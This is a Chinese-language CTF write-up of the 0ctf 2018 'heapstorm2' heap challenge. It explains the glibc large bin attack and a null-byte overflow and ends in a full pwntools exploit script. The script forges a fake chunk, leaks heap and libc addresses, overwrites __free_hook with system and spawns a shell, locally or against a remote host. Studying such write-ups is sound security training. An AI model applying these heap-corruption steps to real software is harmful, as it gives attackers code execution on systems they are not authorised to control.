large bin attack

对已存在于large bin中的chunk的bk、bk_nextsize字段进行更改,在unsorted bin中取出插入该large bin时,会将bk->fd、bk_nextsize->fd_nextsize的位置覆盖成chunk的地址。涉及的代码就是unsorted bin遍历取出插入那块。和先前的unsorted bin attack类似,通常为进一步攻击做准备,如修改global_max_fast。

这里比较难理解就是large bin的结构,特别是先前我被一个large bin结构图所误导,下面给出我画的结构图(如果有错误o((⊙﹏⊙))o,请帮忙指出)。

glibc large bin

0ctf2018 heapstorm2

1
2
3
4
5
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

功能分析

程序首先使用mallopt函数将global_max_fast设置为0,也就是不使用fastbin。

程序在0x13370800~0x13370818读入了0x18字节的随机数字,0x13370818复制了0x13370810处的8字节。0x13370800处的随机数用来异或模糊pointer,0x13370808处的随机数用来异或模糊size。0x13370810和0x13370818两处在view函数中用到。0x13370820后面用来存储结构体数组,结构体如下

image-20200719114215579

1
2
3
4
5
6
===== HEAP STORM II =====
1. Allocate
2. Update
3. Delete
4. View
5. Exit

Allocate:分配size大小的空间,指针与大小在和随机数异或后,存储在数组中。

Update:对分配中得空间中的数据进行更新,大小只能小于等于size-12。这里存在null byte overflow

Delete:释放分配的空间,并清空结构体。

View:当*(unsigned long*)0x13370810 ^ *(unsigned long*)0x13370818 = 0x13377331输出空间内容,而初始时候这个位置内容一样。

总体思路

null byte overflow造成堆块重叠,large bin attack在0x13370800前面构造fake chunk,将fake_chunk链接到unsorted bin上,使用一个正好的大小分配得到此chunk,对随机数和数组进行改写,最后修改__free_hook获得shell。

null byte overflow

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
allocate(0x20)      # 0
allocate(0x400)     # 1
allocate(0x28)      # 2
allocate(0xf10)     # 3
allocate(0x20)      # 4

update(3, 0xef8, b"A"*0xef0 + p64(0xf00))
delete(3)
update(2, 0x28-12, b"A"*(0x28-12))
allocate(0x20)      # 3
allocate(0x20)      # 5
allocate(0x400)     # 6
allocate(0x20)      # 7
allocate(0x400)     # 8
allocate(0x20)      # 9

delete(3)
delete(4)
delete(6)
delete(8)

在3的内部构造后续使用的presize,释放3,溢出2覆盖3的size(0xf20->0xf00),然后分配一些块供后续使用。delete(4)后,这一大块合并入topchunk。

large bin attack

null byte overflow后,unsorted bin中有:0x411->0x411->0x621。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
allocate(0x500)     # 3
allocate(0x500)     # 4

update(4, 0x80, b"A"*0x58 + p64(0x401) + p64(0) + p64(0x13370800-0x20+3) + p64(0) + p64(0x13370800+8-0x20))
delete(1)
allocate(0x20)      # 1

update(4, 0x90, b"A"*0x28 + p64(0x31) + b"A"*0x28 + p64(0x31) + b"A"*0x28 + p64(0x31))
delete(5)
update(4, 0x40, b"A"*0x28 + p64(0x31) + p64(0x13370800-0x10)*2)

allocate(0x48)      # 5

分配块3,将0x621块割裂,并将两个0x411块放入到large bin中。再分配块4,就将从topchunk中割出,出现重叠。

通过对块4进行update,将large bin中的首块(称之为victim)内容进行了更新,将它的victim->size修改为0x401,victim->bk修改为0x13370800-0x20+3victim->bk_nextsize修改为0x13370800+8-0x20。之后再有更大的chunk(称之为larger)进入large bin时,就将有以下操作

1
2
victim->bk->fd = larger;
victim->bk_nextsize->fd_nextsize = larger;

large bin attack之后:

1
2
3
0x133707e0:	0x0000000000000000	0x0000000000000000
0x133707f0:	0x55fb4c7030000000	0x0000000000000056
0x13370800:	0x3269f037bee796f9	0x00005655fb4c7030

这时候,0x133707f0就能够当做一个chunk的起始地址。需要随机到heap最高有效字节为0x56,因为calloc分配完成后有检查。0x56就能够满足chunk_is_mmapped (mem2chunk (mem))这个条件。

1
2
3
4
mem = _int_malloc (av, sz);

assert (!mem || chunk_is_mmapped (mem2chunk (mem)) ||
        av == arena_for_chunk (mem2chunk (mem)));

fake unsorted bin

将unsorted bin中的某一chunk的fd、bk修改为0x133707f0,分配0x48就能将0x56的chunk分配出来。

unsorted bin从尾部往头部依次遍历,将其放入对应的bin或将其分配。从unsorted bin中取出时,有以下操作,所以得保证bk->fd是个可写的位置。

1
2
3
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

后续操作

改写数组,泄露heap_base地址,通过chunk中存储的bk、fd泄露libc_base,将__free_hook改成system地址。

exploit

exp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
#!/usr/bin/env python3

from pwn import *

context(os="linux", arch="amd64", log_level="debug")
localfile = "./heapstorm2"
locallibc = "../glibc_versions/2.26/x64_notcache/lib/libc-2.26.so"

def allocate(size):
    io.recvuntil("Command: ")
    io.sendline(str(1))
    io.recvuntil("Size: ")
    io.sendline(str(size))

def update(idx, size, content):
    io.recvuntil("Command: ")
    io.sendline(str(2))
    io.recvuntil("Index: ")
    io.sendline(str(idx))
    io.recvuntil("Size: ")
    io.sendline(str(size))
    io.recvuntil("Content: ")
    io.send(content)

def delete(idx):
    io.recvuntil("Command: ")
    io.sendline(str(3))
    io.recvuntil("Index: ")
    io.sendline(str(idx))

def view(idx):
    io.recvuntil("Command: ")
    io.sendline(str(4))
    io.recvuntil("Index: ")
    io.sendline(str(idx))

def exp():
    allocate(0x20)      # 0
    allocate(0x400)     # 1
    allocate(0x28)      # 2
    allocate(0xf10)     # 3
    allocate(0x20)      # 4

    update(3, 0xef8, b"A"*0xef0 + p64(0xf00))
    delete(3)
    update(2, 0x28-12, b"A"*(0x28-12))
    allocate(0x20)      # 3
    allocate(0x20)      # 5
    allocate(0x400)     # 6
    allocate(0x20)      # 7
    allocate(0x400)     # 8
    allocate(0x20)      # 9

    delete(3)
    delete(4)
    delete(6)
    delete(8)

    allocate(0x500)     # 3
    allocate(0x500)     # 4

    update(4, 0x80, b"A"*0x58 + p64(0x401) + p64(0) + p64(0x13370800-0x20+3) + p64(0) + p64(0x13370800+8-0x20))
    delete(1)
    allocate(0x20)      # 1

    update(4, 0x90, b"A"*0x28 + p64(0x31) + b"A"*0x28 + p64(0x31) + b"A"*0x28 + p64(0x31))
    delete(5)
    update(4, 0x40, b"A"*0x28 + p64(0x31) + p64(0x13370800-0x10)*2)

    allocate(0x48)      # 5
    update(5, 0x30, p64(0)*3 + p64(0x13377331) + p64(0x13370830) + p64(0x100))
    
    update(0, 0x10, p64(0x133707f3) + p64(0x8))
    view(1)
    io.recvuntil("Chunk[1]: ")
    heap_base = u64(io.recv(8)) - 0x30

    update(0, 0x10, p64(heap_base+0x4a0+0x10) + p64(0x8))
    log.debug("heap: 0x%x" % (heap_base+0x4a0+0x10))
    view(1)
    io.recvuntil("Chunk[1]: ")
    libc_base = u64(io.recv(8)) - 0x3ABC80

    update(0, 0x10, p64(libc_base+libc.sym["__free_hook"]) + p64(0x20))
    update(1, 0x8, p64(libc_base+libc.sym["system"]))
    log.debug("system: 0x%x" % (libc_base+libc.sym["system"]))
    # gdb.attach(io, "b *$rebase(0x1331)")
    update(0, 8, b"/bin/sh\x00")
    delete(0)

    io.interactive()

argc = len(sys.argv)
if argc == 1:
    io = process(localfile)
else:
    if argc == 2:
        host, port = sys.argv[1].split(":")
    elif argc == 3:
        host = sys.argv[1]
        port = sys.argv[2]
    io = remote(host, port)

elf = ELF(localfile)
libc = ELF(locallibc)
exp()

reference

  1. how2heap large_bin_attack.c
  2. https://dangokyo.me/2018/04/07/0ctf-2018-pwn-heapstorm2-write-up/
  3. https://eternalsakura13.com/2018/04/03/heapstorm2/